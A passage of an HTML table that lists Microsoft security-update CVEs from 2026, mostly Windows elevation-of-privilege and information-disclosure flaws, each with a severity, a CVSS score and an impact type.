  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
